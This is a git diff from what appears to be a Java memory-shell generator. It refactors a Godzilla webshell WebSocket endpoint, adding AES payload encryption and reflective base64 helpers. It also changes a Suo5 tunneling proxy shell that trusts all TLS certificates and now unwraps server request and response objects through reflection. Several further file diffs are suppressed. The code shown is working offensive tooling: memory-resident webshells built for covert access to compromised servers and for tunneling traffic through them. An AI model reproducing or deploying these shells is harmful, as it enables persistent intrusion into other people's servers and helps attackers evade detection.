@Override @Override
public void onOpen(final Session session, EndpointConfig config) { public void onOpen(final Session session, EndpointConfig config) {
this.session = session; this.session = session;
@@ -88,33 +78,29 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value; }
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} }
} }
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.net.ssl.*; import javax.net.ssl.*;
import java.io.*; import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.net.*; import java.net.*;
import java.nio.ByteBuffer; import java.nio.ByteBuffer;
@@ -34,8 +35,8 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
@Override @Override
public boolean equals(Object obj) { public boolean equals(Object obj) {
Object[] args = ((Object[]) obj); Object[] args = ((Object[]) obj);
Object request = args[0]; Object request = unwrap(args[0], "request");
Object response = args[1]; Object response = unwrap(args[1], "response");
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type"); String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
@@ -56,6 +57,30 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
return false; return false;
} }
@SuppressWarnings("all")
public Object unwrap(Object obj, String fieldName) {
try {
return getFieldValue(obj, fieldName);
} catch (Throwable e) {
return obj;
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException();
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0; int bufferOffset = 0;
while (bufferOffset < b.length) { while (bufferOffset < b.length) {
@@ -434,15 +434,4 @@ public class Suo5WebFilter implements WebFilter {
} }
return m; return m;
} }
public static Object getFieldValue(Object obj, String fieldName, boolean superClass) throws Exception {
Field f;
if (superClass) {
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
} }